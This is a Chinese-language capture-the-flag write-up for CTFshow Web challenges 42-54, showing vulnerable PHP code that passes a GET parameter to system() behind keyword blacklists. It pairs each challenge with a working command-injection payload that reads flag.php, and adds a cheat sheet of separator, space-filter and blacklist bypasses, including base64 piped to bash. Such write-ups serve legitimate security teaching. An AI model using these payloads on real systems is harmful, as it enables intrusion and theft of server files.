關於CTFshow中Web入門42-54


0x00前記

​ 終於把學校上學期的期末考試考完了,剛好復習的時候跟着群里的師傅寫了ctfshow上Web入門的42-54的題目,其中有很多的坑,但是收獲也是很多的,這里做一下總結吧!給自己挖了很多的坑,很感謝各位師傅幫我填坑!!!

0x01命令執行

​ 題目的考點主要都是命令執行+命令分隔,與ping的那種題目類似,不過這里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不進行回顯的意思,那就分隔命令,將命令分開,使得后面的命令失去相應的作用。

分隔命令

;	//分號應該是最好理解的
|	//只執行后面那條命令
||	//只執行前面那條命令
&	//兩條命令都會執行,不知道是不是自己姿勢不對,沒成功,下面也是一樣
&&	//兩條命令都會執行

空格繞過

<
<>	//需要寫的權限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A

黑名單

//一般情況像flag、php這種字符會被ban掉,這時候就需要進行繞過了
通配符
*	//匹配任何文本或字符串,這個通過測試發現並不能與IFS或<這兩個字符一起使用
?	//匹配單個任意字符

空字符
$@	//ca$@t flag
$1-$9	//ca$1t flag
${數字}  //ca${1}t flag

編碼繞過
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash	//解碼為cat flag.php並執行
echo "cat flag.php"|base64	//最好別在在線網站編碼,不然可能會將空格轉成url編碼,從而無法執行命令

變量替換
a=t;b=g;ca$a fla$b.php

引號
ca''t fl''ag.php

反斜桿
ca\t f\la\g.php

Linux查看文件命令

cat		//cat flag.php
tac		//tac flag.php
head	//head flag.php
tail	//tail flag.php
nl		//nl flag.php
more	//more flag.php
less	//less flag.php
od		//od flag.php
grep	//grep 'fla' flag.php
strings	//strings flag.php
sort	//sort flag.php

0x02題目解析

以下題目均來自:CTFshow

感謝大師傅給我們出了這些有趣有意思的題目,開心

Web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

//這題沒有任何的過濾,只有一個不回顯的命令,命令分隔一下即可
Payload:?c=cat flag.php;

Web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//這題開始增加了黑名單了,過濾了分號-->可以用||繞過;cat則可以換一種查看文件的命令,或者使用引號等方式繞過
Payload:?c=tac flag.php||

Web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//對此開始過濾flag關鍵詞了,這里可以用單引號、通配符等方法繞過
Payload:?c=tac fla*||

Web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//這里開始過濾空格了,利用上面講到的空格繞過即可
Payload:?c=tac%09fla?????||

Web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//這里過濾了數字推測可能是限制使用編碼繞過,過濾了$可以限制比較多,以及通配符*,但是還有?
Payload:?c=tac%09fla??php||

Web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//新添加了一些查看文件的命令進黑名單,但是tac還是可以用的
Payload:?c=tac%09fla??php||

Web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//繼續新增黑名單的內容,但是tac還是沒過濾,開心
Payload:?c=tac%09fla??php||

Web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Payload:?c=tac%09fla??php||

Web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//這里過濾了%和09,不能用原來的payload,不過換種空格繞過方式即可,這里有個坑就是<>和?一起使用時沒有回顯,所以這里用了單引號繞過
Payload:?c=tac<>fla%27%27g.php||

后面幾題其實都是差不多的,這里不多贅述了。

Web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

//因為這里加了匹配的內容,不能使用空字符繞過了,好不容易找到了grep命令,好用!!!因為flag被過濾了,所以對於關鍵字這里只用了'fla'
Payload:?c=grep${IFS}'fla'${IFS}fla??php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM